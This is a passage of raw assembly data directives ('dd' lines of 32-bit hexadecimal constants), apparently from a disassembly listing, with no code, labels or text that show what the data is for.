77FABDCDh, 7C845F5Bh, 0C5E625C1h, 7DC18381h dd 2A06F630h, 86810EBh, 380D572Ch, 2ABB0360h, 54017844h dd 4537F381h, 246D4C2Ch, 82038080h, 0E25E975h, 0BFF9516Eh dd 204FC4C0h, 36267691h, 0C001B101h, 590266C8h, 282A2C5Ah dd 6CF482E8h, 5D7DC43Bh, 0F25F5156h, 0F068B1A5h, 2DE9F364h dd 0DA765D63h, 5C996850h, 52C0EF3Fh, 51538DB6h, 50F1881Ch dd 59F7C8D4h, 5A662FF0h, 6946F4EFh, 0FA01893Eh, 2B182F6Ch dd 36F926BFh, 0D4415C5Bh, 46BD4CDCh, 0C9D1FBECh, 0E955EB39h dd 0A5F403C3h, 53F1B519h, 2711338Bh, 56FFD597h, 0D0F72C44h dd 6DD4C3C1h, 0EC3E77F5h, 620B2FA7h, 67515570h, 58E805E0h dd 2D170243h, 1BAE3E1Ch, 4E442543h, 2C90E808h, 4BBC085Dh dd 0D8C62C01h, 0DF20AB16h, 9D617015h, 5DE288D6h, 6D9957CCh dd 0E8A23E59h, 0B07D079Ah, 9AEBF1F9h, 5F81778Bh, 0E4FDD902h dd 33964BF6h, 5FDA7FC9h, 44188BB7h, 671202B8h, 2D587446h dd 72160689h, 17FE8FDh, 0E4BC054Fh, 0C4DAEB93h, 3C27CD4Ch dd 0C9544A46h, 0EE5129B6h, 0D3903B8Fh, 17F7095Dh, 955A1DE9h dd 58FE319h, 60FA685Fh, 0F554CACCh, 39307730h, 28CC125Dh dd 45076306h, 0C9130C4Ch, 9AB8CD55h, 4EF4E95Eh, 0FCE914C1h dd 0B9530B3Eh, 315CE17Dh, 47E9BE54h, 0EE2DBA64h, 4EDD4ED8h dd 0A07EE929h, 2CB1BF57h, 0EA1043h, 722C17EFh, 0D74AF718h dd 1FFB151Eh, 190B3D08h, 0B9E6DF29h, 4AB2B84Dh, 2602DD13h dd 575A2963h, 19467860h, 0E3EC1DF2h, 0A9446A16h, 5691EE8h dd 2424F070h, 11242148h, 58CDC115h, 9F841362h, 59837DF3h dd 408D5B68h, 0E9D9886Ah, 0FF95C0C2h, 723EBE39h, 4CE101DAh dd 4966CF3Fh, 6C01EFDFh, 0C824D30h, 741C6EEEh, 0B3E48D80h dd 1CB03B72h, 8D4F9AFAh, 307B41A7h, 0EB5720B2h, 44271ECDh dd 0C2428828h, 5A89F810h, 0A4513087h, 80619076h, 60E1D2EBh dd 287459CFh, 0C29F9BFCh, 0C2B6D5C9h, 1D2F08A0h, 261A23Eh dd 452801F5h, 0D6BEE039h, 0A71830CAh, 14470CCAh, 4001412Eh dd 7C286083h, 8F40074Eh, 0D76D0B3Eh, 0F6FAA999h, 0BD80FA20h dd 8809CD7Ch, 0D306A433h, 4A7CE7EBh, 0AF9246A2h, 50BD4C61h dd 2CA74EA4h, 0C5FC16B0h, 0EAE879h, 2A050BE5h, 9F99ED81h dd 0E91B44F8h, 8224B493h, 4106C2CBh, 437FD52Fh, 6589CDEAh dd 76C016EAh, 3C4841DCh, 5162143Eh, 2F0CDEF8h, 9E7332Bh dd 273D6A40h, 449C6901h, 3197C16Ch, 143DCFA5h, 0DA50029Bh dd 5A3C51E9h, 1EC4596Fh, 0C14D814Ah, 0A663BBh, 216E5F68h dd 94565E20h, 0DDA8392Fh, 402D5EDFh, 1A2B7285h, 76693516h dd 2E09570Bh, 4ECA1EF6h, 0D699AD42h, 0C0F173B2h, 0F78C3AD3h dd 65A2415Ah, 71A66BE9h, 900FB4Fh, 0BE27E22Dh, 20E92D14h dd 6866A080h, 0D0F24E43h, 0C13E9B9Fh, 400149E8h, 197BFC92h dd 75C261D6h, 0B9A7EBDh, 0B0FF8F5Eh, 0A4723548h, 0C5563424h dd 7DB2EA3Bh, 0C42110CBh, 3F5C4BE9h, 551006B3h, 0C6B05B58h dd 0CC7D1FBEh, 88540A23h, 0D6F59DBDh, 310BE0F9h, 0F22E55B0h dd 8089D170h, 1FDE80C2h, 0E92CD028h, 0EB39D732h, 0B30B45CBh dd 48B2233Dh, 7BDA9FE9h, 61F815B1h, 44F99F16h, 126A2DC0h dd 0CA144CB0h, 4679EB05h dd 0EDB58076h, 2703A326h, 29076850h, 0B5C4943Fh, 0C58AF2FFh dd 0DEFDF896h, 507B2284h, 3A7478F4h, 5D79C5B6h, 51C6F66Eh dd 93283AA2h, 163561F8h, 2591168h, 41119951h, 805F2A79h dd 7D5FEDC5h, 0DA143C3Ch, 6908B610h, 0B1E2D71Ch, 57451F79h dd 0D89E2C31h, 5FFDCD54h, 9D95E2Eh, 537D132Eh, 3257AFC5h dd 5716ABF4h, 84E9FCC5h, 0BC16A3FEh, 72D04B87h, 5BDB512Fh dd 527AB78Eh, 0A7F41707h, 30F839EAh, 0B50BC779h, 66184Dh dd 0AE5E274h, 0AAE9158Fh, 680BC225h, 98FC6E9Ah, 7CCC3A62h dd 0B84567F5h, 6F566805h, 0C1DD155Ah, 0E045F69h, 3A2425AFh dd 0F489FACDh, 2E3D5341h, 0AC80BA00h, 1C5AB2Fh, 5AD12124h dd 9501FB2Fh, 49CF159Ah, 958E74DCh, 168F90D7h, 62F5820Ch dd 405A5D05h, 0A768C880h, 0A1321D49h, 197513E9h, 6A41979h dd 2B1D9E64h, 0DE2195B4h, 7715E962h, 0D14B395Ch, 0ADE40974h dd 629168B0h, 0F7098AA4h, 0F065FE7Bh, 0A4902Eh, 37D06AD4h dd 97174735h, 2D405704h, 0A68478A1h, 0ACE9E480h, 77399D31h dd 29903B05h, 96D8CBE9h, 7FBA4096h, 394B3C5Ah, 41F459B4h dd 0FA4C3037h, 61D7213h, 0A59D42BBh, 0B5C8A30Eh, 70901490h dd 24CB64B5h, 96BA64E9h, 813EE95Ah, 0D3EC9C1h, 915E51F0h dd 0B9606F39h, 713776ABh, 8B5FE912h, 1630244Ah, 97CAE9E1h dd 68511E82h, 8A71219Bh, 325E00BAh, 13C68122h, 55281737h dd 0A81ABF4Eh, 0C2FF114h, 55AD51EEh, 5D697599h, 25DC7A48h dd 0BD378B0Ch, 57290BE0h, 0EB5A4CCDh, 1109352Dh, 1342147Fh dd 0A13D3213h, 0F3E46A6Fh, 0C26A01F3h, 0DD890B37h, 75BF2B5Bh dd 8661F8FEh, 9DBA0AABh, 33903514h, 0D738542Ch, 2B0F0A7h dd 0D96FAE4Eh, 0B102D589h, 0BE560033h, 0AB273CAAh, 892A5C38h dd 4BD470FDh, 29E568E1h, 4CB09A51h, 1FB8BF04h, 8F648Dh dd 323057AFh, 7A400E4Ch, 74EF651Fh, 0E4C8F600h, 0C431F909h dd 13594A69h, 63520FAh, 34E5041h, 0EE2B3DA1h, 5B31280Dh dd 2F0C23D8h, 7AE30A26h, 28651204h, 80F3EA7h, 0CDCC403Fh dd 0CF3118F5h, 0E44594Fh, 75EA54B7h, 0C69309AAh, 0D72D60F9h dd 0EA72A129h, 2FE06B20h, 0DB505F58h, 48CE6C16h, 80350AAh dd 0EA148B12h, 2CE9A368h, 69EE28D2h, 6759F600h, 709F5E87h dd 47032F83h, 7D494779h, 0F9970EB6h, 3A25CB23h, 5725D2C2h dd 0E4105C77h, 4C6DBC51h, 7DEE279Fh, 0E7979814h, 32522597h dd 0B0508C00h, 58C10820h, 0A8727E9h, 5C49C7FEh, 13F0C20Ch dd 25C5E65Dh, 0ECD52CA1h, 0E05C4A50h, 1B1DF4CEh, 0E98B4F6Bh dd 87257CC9h, 95512BE7h, 0FE1BB031h, 0B13FC278h, 82C11C7Fh dd 1259CA0Ch, 202A9F26h, 0C9973FF3h, 903BA37h, 0B2F930A0h dd 0D2FC5F5Bh, 32DE649Ch, 0FD6D091Ch, 0EE21ABA3h, 97D11D2h dd 0CF34752Ch, 0E67FEA27h, 4A69F29Ch, 0E79DBC8Dh, 16FFDCE5h dd 0D57CAF41h, 1E792D68h, 0E456C191h, 6C2743FCh, 0E3595C2Dh dd 544867E5h, 61E40525h, 0BBF40DFh, 1EA90967h, 0E9F8267Eh dd 8C445A83h, 8004C54Eh, 894A0F4Ch, 5F913BC2h, 8A09D8CAh dd 2974E170h, 99D59F0h, 19EEA234h, 40F27701h, 97490E09h dd 0BDF8586Eh, 2AC961F8h, 211074Dh, 428DA3Eh, 2ABC5D08h dd 3BF2FBA4h, 0D3D50892h, 1AEF62Dh, 7EAA224Fh, 2094D85Fh dd 2D304600h, 506C3228h, 0A2D87C01h, 7FC47F07h, 38995D51h dd 247683FCh, 0C7A8DCAAh, 985B0740h, 9CD17C19h, 2DF8BB4Ah dd 46543421h, 0D9AF2BE5h, 3BF0E989h, 0E9B0B1B8h, 0D899D750h dd 40A8A2ECh, 0BCE0BBDEh, 5C40802Fh, 2DF826B6h, 124B672h dd 7509BAC2h, 50A27E46h, 3C620168h, 0F9996Dh, 0A53608BAh dd 0D6313F09h, 0E61A605Ah, 970CBECCh, 0C787F4E7h, 65885A09h dd 0C30B5F97h, 7FA1127Dh, 4B1A1F59h, 387455F5h, 0D50BDF27h dd 77093430h, 108F23EFh, 0B05EE7A0h, 74B4F4Fh, 3FA3CBAAh dd 681CFEC1h, 7725552Ch, 682D4A9Ch, 69D17EC9h, 5C9DB166h dd 6268C1F7h, 8F342A20h, 2933F0ABh, 93D4EA59h, 25869A06h dd 4A81989Ah, 0F88B3906h, 5BB1DD0Fh, 0A380DE20h, 14C1EC71h dd 1D536BBFh, 9E73D70h, 6ADC55EBh, 3A1E04h, 0FC2D5ABAh dd 23ECF4Ah, 0FABDBA9h, 0C68075Dh, 82E0B395h, 0FC41BFB9h dd 0EB563B1Fh, 0C587ADD3h, 0C0918C6h, 4F3AE9D1h, 0D790E3E7h dd 10F4885Fh, 0A0EF0581h, 127AE07h, 1038C1F2h, 0B0188E66h dd 175A876h, 0C331A0FCh, 43986121h, 3BA2149Eh, 7B8010E0h dd 0A0114325h, 0FC6EFE2Ah, 1035FD63h, 296B0E6Ah, 909D1AA5h dd 12DB35EFh, 5B69AA24h, 5274D742h, 3D5A7029h, 6AAD54ECh dd 0E758B37Ah, 77EE1E05h, 162F97CCh, 60EA9842h, 6EB60C6Fh dd 0A9BEF088h, 0CF5053C3h, 0FABAB333h, 268F42D8h, 7AE01A0h dd 0AC058FC6h, 0E191D44Ah, 64BE2EA9h, 0C7D4AF76h, 5AE559A4h dd 5FDF31Dh, 797E168Dh, 5AEB0800h, 0B729638Bh, 0C683E56h dd 1C251034h, 0C6FF5112h, 51B545B0h, 8B2D3705h, 541A9155h dd 0B85E10ADh, 0F828634h, 0D7CA570Dh, 5AD5C68h, 0ACEAA3C3h dd 9504A57Bh, 0ECAAD32Dh, 526FA18Eh, 3FCFFE01h, 27EFE8B4h dd 0D1F430C4h, 0F8F55EA7h, 7995F968h, 0D53924Ah, 71A1907Ah dd 8593B900h, 4B247765h, 74120F8h, 1A611026h, 816634E9h dd 3582F7C5h, 812F7EA8h, 6FDA1690h, 9DE09D98h, 0A267CC0Bh dd 107BE984h, 7519E414h, 8A5B0C09h, 8ADA891Fh, 0A93309C9h dd 0D04802E1h, 0B2F655F5h, 230189EFh, 27D129F4h, 8E54CA60h dd 343DEBC3h, 94A24145h, 0C8E8EEA4h, 9BF57B1h, 4270DA07h dd 68010BDCh, 240828FAh, 4B1919BBh, 0FF522F2Dh, 16E206E0h dd 226E501Ah, 225759CBh, 6C585584h, 17507872h, 0F6294D04h dd 12A742F0h, 2941C1Ah, 8B66B8AEh, 5C7660ECh, 60F80C05h dd 2D445A89h, 4BE007A3h, 7B5CCA06h, 0EC4226Ch, 6D6B6AC1h dd 2C466862h, 3B609C5Ch, 0A877C719h, 0C09417A3h, 1AA7C535h dd 0C2A17C8Fh, 4F433CCFh, 826969FBh, 0A25F8BDDh, 7435702Fh dd 0C1FBB5E2h, 5A747CA7h, 29F20B82h, 0FDC38802h, 9B070842h dd 6AFED2D0h, 18FAE5Eh, 7166EB68h, 67BB8284h, 86607448h dd 7A266DE7h, 27022D3Dh, 4049BC5Bh, 970D9587h, 0B12C167Bh dd 0EAD76D18h, 32711E39h, 8BB6C97Dh, 99500676h, 2D3A9BD6h dd 0A4D38F7Dh, 4C83227h, 3DD9956Bh, 0BB015645h, 5E02187Eh dd 6407D232h, 6040C30Eh, 0C061C5F6h, 17FFD359h, 30FF1228h dd 651968A8h, 0D6625AB6h, 1130F74Eh, 949F5391h, 0B51B5FAh dd 0D0CCE989h, 0EF4550E8h, 0A3F0127Eh, 0A87D01CBh, 20589214h dd 1275E3F5h, 261264B6h, 0E55695D0h, 0CFAA5C42h, 0AD76D01Fh dd 1394D740h, 0E9337306h, 19472C6h, 1404282Ch, 23750668h dd 81B22635h, 0F650C50Bh, 0CB985EEDh, 82268D4Fh, 5175D2h dd 3B0D05DBh, 3521B94Ch, 0C766AC0Bh, 0CC8FF70Ch, 6C3C55C0h dd 4E4EE9FDh, 0FEE78F4h, 0C49DC7A6h, 611264h, 7A535CB9h dd 9888A015h, 9D6A7634h, 87788DFh, 89F75917h, 0EB5BC14Ch dd 0F44E132Bh, 0F141BE0Dh, 0C9CCA46Fh, 5C125B9Ch, 0C2F2B3FEh dd 5436F8E9h, 303162E3h, 0D845745Dh, 0C29788E9h, 0ADED7D3Bh dd 0AD566313h, 0D1617CFBh, 2BA5240h, 1B755E53h, 8FE0D031h dd 48E8F8BCh, 6A407790h, 9D22C3BDh, 0E7D95716h, 84B5221Eh dd 0EA170B8Bh, 0C0641CC8h, 2978BF6Dh, 8100195Dh, 9F434CCFh dd 59A8E913h, 0FE9233EDh dd 2368B640h, 0B331BD78h, 0F1E9055Ah, 27A9F2B2h, 0BCDF801h dd 38D6499Bh, 402A077Fh, 0D2F74860h, 0E0EA4EC1h, 1018CFAEh dd 0EB224542h, 52D53077h, 9C689618h, 0CA010C3Ch, 0C56898BAh dd 7645025Fh, 0A8B39B46h, 0F6D1810h, 5AA2CACh, 71BEB9C0h dd 0F4E38862h, 0CB34E42h, 0CD20BB02h, 0A29E681Dh, 50559E0Ah dd 4997DB38h, 0F8CFDD1Dh, 722E08F5h, 9A0CC085h, 2D38224Dh dd 12E4529Fh, 0E9196EE9h, 92493D6Ah, 42FE2F3Ah, 8F7AE874h dd 0DE8398C0h, 0C1D22981h, 0CA3BAB5Ah, 51F61111h, 35EEA27h dd 3B7E59A7h, 32751C6Bh, 44ED40F3h, 22A2B762h, 97B17B9Ch dd 5E7324EDh, 0BE4ACAFCh, 0B8D0D8FAh, 0AB54190Ah, 0C302E752h dd 0E107A82Ah, 5100A211h, 0EBE4C588h, 0F955B0A2h, 1F79E2DBh dd 3FF8477Dh, 0CBC81C25h, 480225F5h, 0EF213616h, 0F3F9775Dh dd 0AE1FFFA6h, 85C52DB0h, 707848A8h, 0D6094927h, 327A1154h dd 75DAF5A3h, 22829A70h, 5201CF8h, 42038129h, 0DFA32401h dd 74295B4Bh, 0E90A4323h, 52D6E66Fh, 104B00DDh, 0B029243Ah dd 9049BD8Dh, 5F962F01h, 0B7D9B722h, 761F3F09h, 6227736Ch dd 0C4A0D43Dh, 9841BE47h, 886E3EEFh, 0EFD31C3Ah, 861612DBh dd 212B0FE1h, 0F04EAAC7h, 0F9580180h, 2232C4FFh, 0D570A17h dd 0E589E8Dh, 0E32668B4h, 555A8D64h, 814E5300h, 2C4122E6h dd 1FA44DACh, 593B4F9Bh, 4423CE83h, 0C0538C3h, 635267D5h dd 6FFB0480h, 17F13DFh, 5835EEF7h, 868CC6BFh, 0B1E91509h dd 510DD42Ah, 384F68F6h, 211609B9h, 24A10002h, 13D6DE0Ch dd 0B91A43E9h, 0D03618AFh, 0F9F3802Ch, 5125F02Eh, 0AC7EB53Ch dd 553903F5h, 6EC300DBh, 38C55A3Ch, 30EEE4ADh, 0FA5EB38Eh dd 93530728h, 0E87E662Fh, 12B7EE96h, 14A0829h, 2E61AF67h dd 14A57F8Eh, 124D72CCh, 1731F96Eh, 3766B065h, 0C363778Ah dd 81050601h, 62588CBh, 0EDF3D040h, 2A8B2FC6h, 9A2D425Eh dd 3DB801C7h, 0ED415418h, 8105151Ch, 2864BC51h, 7FDDDD2Bh dd 0EBE92084h, 680E22ADh, 0DB983CA5h, 0F8BFDDB1h, 1098240h dd 0BB5AFF5h, 0B041E83Fh, 7066E828h, 0E3C84859h, 6B99BFB5h dd 62C6BAA9h, 0ECA577E9h, 0D560AAF6h, 268057B7h, 10510BCFh dd 85FE4E01h, 1762AEBEh, 0E9CFE88Eh, 38464F58h, 3A386842h dd 70FE4F35h, 0BAE8E915h, 400CF997h, 2ECDE181h, 0CD371726h dd 20D8F182h, 0F7607D0Bh, 8012A5Ah, 0F8D2D7Ch, 0C43B1ED6h dd 0ED071619h, 68EB97B0h, 5192C561h, 0C25874B5h, 8CAB82FFh dd 49E72F7Dh, 5F6AA9D9h, 0F9426671h, 0CF0FE84Dh, 185F257Fh dd 23626E7Ch, 7EFAAC28h, 0A7E6092h, 0F46CCEBh, 50C0B702h dd 5D44F468h, 3C130645h, 552FABB8h, 0FE5AA67Ch, 21E9F84Dh dd 2420F15Fh, 0C5189168h, 0EBDAC35Bh, 750F5225h, 7310254Bh dd 12FDCDB0h, 0E87A0468h, 0F785CB2Fh, 2E8234E1h, 293B3CB1h dd 0DC17A0Ah, 0EB043270h, 95F7F100h, 0FABB23E6h, 27FB9CB5h dd 0AF404D7Fh, 0D9093D50h, 0FD540D0Fh, 23B57520h, 7BD725Ah dd 0E2A099CAh, 0B26DE977h, 837895A9h, 7A467E9Fh, 0F407FC41h dd 0EA865A44h, 68B09E7Ch, 0FB5F1211h, 0D0436BCEh, 26614816h dd 9391A8E6h, 0C87F6902h, 0AFAC8373h, 0E944885Bh, 8CB89219h dd 43939F29h, 5DF50C09h, 239891Eh, 0DE3A84A3h, 1296F0Dh dd 5727CD74h, 0B09719CDh, 0BBBC6E0h, 6EBE5016h, 170342D6h dd 466090Eh, 0E67F319Ah, 2817EC4Dh, 220B9059h, 0F520F814h dd 9D61CEAEh, 7F0107C0h, 618902E2h, 0C07690C2h, 89ED7725h dd 6F1975A5h, 91A83BEDh, 0BDF9F84Ah, 284C7F64h, 20FA1E43h dd 5D7660CEh, 0AC7F3A2Ah, 0CAA55B4Bh, 0C1A44829h, 92A51Dh dd 9059159h, 2DB35169h, 912A70D5h, 0BB401250h, 53200722h dd 6368845Bh, 418EFA73h, 1C80584Ch, 87374B57h, 106CE95Dh dd 68024A46h, 61343D60h, 0ACB2BC0h, 1CDF7A16h, 7BDE8000h dd 0E24138EAh, 0C1AA27E9h, 0FD7BD95Ch, 0D43721FEh, 4C0042Eh dd 556484F8h, 7D68E32Ch, 1BE80D92h, 1E1CF827h, 24118958h dd 822A9D9h, 0B05DE925h, 971B3E28h, 70345D47h, 298E41BFh dd 3465E9CEh, 6D98552Eh, 384ACF0Fh, 87B28512h, 99E40ECh dd 4F9B5392h, 34EFC8C1h, 55AF80Eh, 0B63BF5E5h, 0E7993951h dd 28B1EEC1h, 0A0753B5Bh, 0C1D78CA5h, 0E8C10916h, 1AB6052Ah dd 89CD266h, 0CBCE3F5h, 0CC02E910h, 2B0EBDA7h, 7768A009h dd 814F0F09h, 0AE6DBA5Ah, 53E4E9E2h, 5BB8222Bh, 89D5E5E2h dd 93D867C0h, 0DD90BB66h, 97FEFB2Dh, 0F74531DDh, 6A860901h dd 1F2C3E8Ch, 0DA3EB212h, 0FE5D04D0h, 742DAE8h, 7B972270h dd 4E1228C2h, 8C2F2251h, 9045C0EAh, 752CEAADh, 133E2521h dd 6B9B217Ah, 7EF68D21h, 7EDE5E02h, 56160703h, 0D968C004h dd 518BC50Eh, 3824AE9Dh, 88AC1BEh, 0D7530221h, 68859971h dd 85BC75B7h, 402BCFC5h, 3405BA51h, 0FF9575B2h, 285DBA09h dd 32139AC2h, 0A24B10BCh, 0CBBED661h, 8D68169Fh, 0A917D21h dd 0D0B15103h, 2E492A8Bh, 0BE917E48h, 0FB171106h, 0C3070CFCh dd 0D15F8E39h, 0A4E1ABCFh, 95FFBBE1h, 2D37FCBDh, 3722F505h dd 65642201h, 2424FEBDh, 0D6F84EDh, 50F2807Bh, 3950B04h dd 0AA56D399h, 0EE67DD23h, 769E5718h, 89898118h, 0C6171A88h dd 0A3F201Ch, 1A1A0158h, 401CB3F0h, 1038CE2Dh, 35C4854h dd 10D204FAh, 17A8E401h, 4FDDEB1h, 34E510C1h, 0F8525670h dd 0EDBC4E53h, 1DE9A02Eh, 0AA0AD023h, 0ABCBDA39h, 2F7E378Bh dd 9F7A036Fh, 0EE94E7E0h, 0A2CBB260h, 0A8509DDFh, 0E9C62906h dd 4241242h, 750945BFh, 121FFF6Fh, 50CAD0DFh, 0D284C61Ch dd 0EDC3C804h, 0ABC34A90h, 0BA964221h, 9F2F316Ah, 0EB734032h dd 0BCB4087h, 0B2F5852Ch, 680100B8h, 77F67E17h, 2AA425Fh dd 0A3937ADEh, 7D31B7F0h, 7BC931CFh, 63180E31h, 82513C08h dd 58FD624Ah, 0F0D47759h, 0C7134082h, 56D34222h, 576248Ah dd 0C3434ED6h, 0E9A004C7h, 0EC95B4CBh, 123BE1EAh, 5245E4BBh dd 7E179390h, 81A85A06h, 0AB2C3416h, 81FCA65h, 8DF822E5h dd 4F0FFE1Ch, 0BB6E2806h, 3C89727Ah, 8FD8AD3Fh, 0F04B708Eh dd 61410D26h, 74C1F502h, 0BBD1C14h, 57044C0Ch, 170BBC62h dd 5C83CB88h, 3857B159h, 0CEBCC748h, 37CB5DDBh, 613AEA7Dh dd 8F02DECBh, 0F892A340h, 0E1B09B98h, 28753F1Ch, 0FD13EAACh dd 794997A8h, 681B5294h, 54A0592Dh, 3358290Ah, 1F64054Eh dd 50BF1B79h, 0FD4A0803h, 78FAD7E4h, 56B2F7B8h, 0C1B05B9Fh dd 344C60E9h, 6C13EF39h, 59041C81h, 0EC16A80Fh, 7DB04CF5h dd 81E22FF7h, 0BC4BFD16h, 15D59F8Ch, 6DF14FF6h, 0D331B36Fh dd 3923430Ch, 0FC054FE6h, 4367C7EDh, 7589EBAFh, 247E784h dd 5C390568h, 0EA06FF9h, 0E0C1751Ah, 92ECC09Fh, 982AFC58h dd 5F7A3B18h, 5C9AC7D0h, 0B8871CDFh, 10DF34Eh, 1A4384B4h dd 50D71C08h, 0BA1BCB9h, 624E393Ah, 623BD680h, 0A73B7995h dd 6E791477h, 6238F8CFh, 782F191Eh, 0BD03D842h, 0AE08FA58h dd 2F89D2D5h, 3EA29C63h, 4AFEC175h, 5216193h, 0ED42F114h dd 0D6887B5h, 58D61A19h, 0ED4CBDA1h, 0DCBD0970h, 4D4EECD3h dd 5177FE13h, 0C847DE42h, 5811774Fh, 0E712E78Fh, 78C0651h dd 465C13D7h, 0EB6A901Bh, 9D0258BCh, 44E9CD31h, 0C9B1A0E0h dd 51090126h, 3838A97Eh, 222DF180h, 8FBD516Bh, 0DDC3E956h dd 0C88601C2h, 5890B3BFh dd 9FF6F324h, 0E3073D24h, 0C5A24B06h, 0A82175A3h, 9FE2536Ch dd 0D549FDB8h, 1537B8D4h, 75688023h, 4A66DAB5h, 262AF34h dd 5A0CC9D3h, 51CDB831h, 0D53FD87Ah, 64C15D16h, 45806107h dd 40F5740Bh, 1A6C2E30h, 3B3C10D4h, 9236968Bh, 0FB9710BBh dd 9B61AB06h, 6CA5D64h, 0E9040A2Dh, 0B8B5E22Ah, 8584D46Ah dd 9045ABE3h, 0E4068F66h, 4A292B25h, 94C6BBC7h, 8C3C4A3Eh dd 8923923h, 0CFD8A3BDh, 0E0D38A42h, 1FE5E740h, 71B317Eh dd 646EE0F7h, 9817BA12h, 0F56D31FBh, 0A3416F37h, 1AC95346h dd 25AE07Eh, 6542004h, 79D084E9h, 183311BAh, 0DE294312h dd 5C53DE68h, 53501EB4h, 26192A85h, 0B2FE14C4h, 0B8D05B2Eh dd 4F3A32C2h, 18D3A47Ah, 73C95E5Bh, 9627D1E0h, 6B5387BEh dd 0C3D73B6Dh, 5983F91Ch, 7FF28C50h, 52493860h, 10C4EF9h dd 0CFE5EA7Ah, 0B4B12FF4h, 7FC1DE14h, 0D24E87Ch, 0BF037033h dd 90CB8456h, 0B759CF71h, 53850F65h, 59EBFEF9h, 4FA1072h dd 68D271A3h, 0CD889B7h, 652DEh, 0DDB93815h, 0E9578635h dd 0C804C027h, 2564453Bh, 82E92DFEh, 0C19A945Bh, 2658330Ch dd 21771780h, 3C2F08D9h, 0CD657D27h, 2A10AAA4h, 68C32802h dd 45FE05CAh, 5169B260h, 53D12C88h, 12DC9086h, 911AC05Ah dd 21F54006h, 14808222h, 0D66B6EC2h, 0E2685609h, 6F385E27h dd 4A02B873h, 0A6E2F7B8h, 582E94D8h, 3D37445Eh, 0D6EA64C7h dd 502AB69Ch, 4D256679h, 3587813Eh, 88F449Fh, 0BCD367EBh dd 988C5FC9h, 0C8795B64h, 0B95B7BDCh, 0F202E3E3h, 73C22856h dd 355B8075h, 4BB979D6h, 354BA0Dh, 0CEEE1790h, 405ACE22h dd 2407F570h, 0B5F7A10h, 9D2411D1h, 4ED8AFDDh, 0C77062BAh dd 0A9666708h, 0F9B65200h, 8856C680h, 0AAE917F5h, 12558A8Eh dd 0EAA42E7Fh, 4586170Dh, 0D506FA7Eh, 0E25B4D0Bh, 0E87AE132h dd 0E3DE170h, 0A729D81h, 305938AEh, 6FC0D4F0h, 325A8AEAh dd 1F6A950Fh, 84F7080Bh, 0A2EE026Eh, 0A2E4D078h, 5EB44996h dd 3EAEB43Fh, 0C6047A41h, 0B55A53F3h, 0DE8B3A02h, 2F18B55Ah dd 0B05ACF4Ah, 0B4B371Ah, 4A615583h, 2C69305Eh, 0C39B2604h dd 0C5F81EE9h, 6D910B4Bh, 0D3DF3542h, 0A0269A7h, 0FA4A0F07h dd 4061C302h, 55074466h, 821CE068h, 26CD7709h, 51FA8F8Bh dd 0C55288C1h, 434E6805h, 3682FC37h, 0D2735554h, 3959E961h dd 5385302Ch, 45C2EEB3h, 0D4BD001Fh, 4E00D057h, 0A830C581h dd 0BD01B12Fh, 59AF26C5h, 0CD8BCC78h, 582463EFh, 34F10509h dd 0C3AE6A97h, 8014840h, 75940507h, 67D43DEFh, 543C5CA2h dd 17D57E10h, 0BEFE2D0h, 0AE7A34C3h, 0E1D1E841h, 53605F02h dd 1328BAC9h, 7120D621h, 0AA829D50h, 68002D57h, 5FD73E1Bh dd 0F92CEB78h, 7DD7A73h, 5EF189B1h, 26E1A041h, 1B5EE320h dd 0EE900E91h, 0EF00546Dh, 5DF22185h, 1E90F701h, 0DFD30882h dd 11BDE941h, 795EAA2Ah, 1043A40Ch, 0EF66525Ch, 0FEF2A20Bh dd 0B61823D1h, 5F9B6877h, 93183036h, 19082D5Eh, 243FFDE9h dd 115709FAh, 48F8CE60h, 0F3827D82h, 0D80BD998h, 0AEDDFFD4h dd 0D380BD2Fh, 3519E2EBh, 7F8C8A5Dh, 0E2A8A25Eh, 0D64C5D1Ah dd 0EEC0F38Ah, 71BC8BC5h, 0DFF74784h, 0E551A587h, 9300843h dd 0F8301303h, 29BB556h, 1E5E5F08h, 211EC2Fh, 595E51C1h dd 89904E58h, 98D3FED4h, 0C004F4B8h, 0B95F5467h, 18050556h dd 0E1013870h, 43214D50h, 4E111881h, 6B89F563h, 57BE3D1h dd 39EE8000h, 0DDD72C2Dh, 7195C7B6h, 70B38204h, 437F792Ch dd 9B5BA3F6h, 0DFF083DBh, 8CC18049h, 95FCF680h, 5D658B5Dh dd 511F9F66h, 92241168h, 52D8B360h, 61DA7288h, 0ADE92DD5h dd 0C4693CB1h, 0CDAB864Bh, 34136E4Ah, 25E14508h, 0F6206B70h dd 687014h, 5E408447h, 7BB904BAh, 0F384BF5Bh, 0E9E4CCFFh dd 40F01B34h, 57E57D81h, 0EC7DF2C0h, 90C70EDh, 0EB896CE0h dd 505825DEh, 0B1BD0455h, 0BE7F9B3Ch, 3B173BCBh, 0A102E83Dh dd 0E9001F1Dh, 7CC7168Dh, 9B740CB2h, 5428ADA8h, 9C3E277Ah dd 1E42FDCh, 109AE4BEh, 408AC653h, 0FE4BFB92h, 982321AFh dd 7071052Ch, 256EA4EEh, 502CFD46h, 92EDB99Dh, 64D1BA1Ah dd 95445729h, 641F4A04h, 0FFCBB445h, 0E8D7FAC4h, 9E455F59h dd 0D65908ADh, 0E8F1321Bh, 74D8280Eh, 0E6E42Ch, 0B050535Bh dd 8073B7D3h, 3A4DEF38h, 4AEBF2C7h, 5066372Ah, 0CD129004h dd 3C1C6117h, 8EAF4B77h, 0F06E1325h, 0F5CB3461h, 84A6E96Eh dd 5FA93A7Fh, 0C8575D16h, 0FBF45FF6h, 0A85365BDh, 46E72E40h dd 2A174038h, 44D06986h, 3B0841E1h, 80602DA1h, 0CA315B49h dd 0F2027D0h, 49F8CE13h, 0D6E47FC7h, 95D5F702h, 719F99E9h dd 753F3C61h, 2FB510E0h, 0D707CD80h, 0E5D0DDF6h, 0DD13F572h dd 2DE99360h, 0B1BC2F4Eh, 0AB0856DEh, 49CDAC46h, 5A91F406h dd 0D21DED92h, 89FE9757h, 0D3A82B8Eh, 6A3092F1h, 5606A4F7h dd 0E567EB68h, 0A0BE3C75h, 661E5FEBh, 0F9F76616h, 611ADFEBh dd 3DC46808h, 46636589h, 0C1E460D6h, 270B50E1h, 0EB870217h dd 68D087DDh, 101D693Dh, 3C4E7C50h, 0B4EB20AAh, 0CC39FE1Eh dd 0AF93080h, 4FE9D4F6h, 0E320E4B0h, 0FC3D16FCh, 57BEA76Eh dd 5D12CD45h, 0EDAA9DC4h, 0F582F5Fh, 2016CBF7h, 336D352Dh dd 180A4867h, 0D67C3C04h, 0BB94FE10h, 0A258080Bh, 4FB8A7BAh dd 0EEEB0883h, 0C006C535h, 4FB680B4h, 927AF202h, 0FE5E89B6h 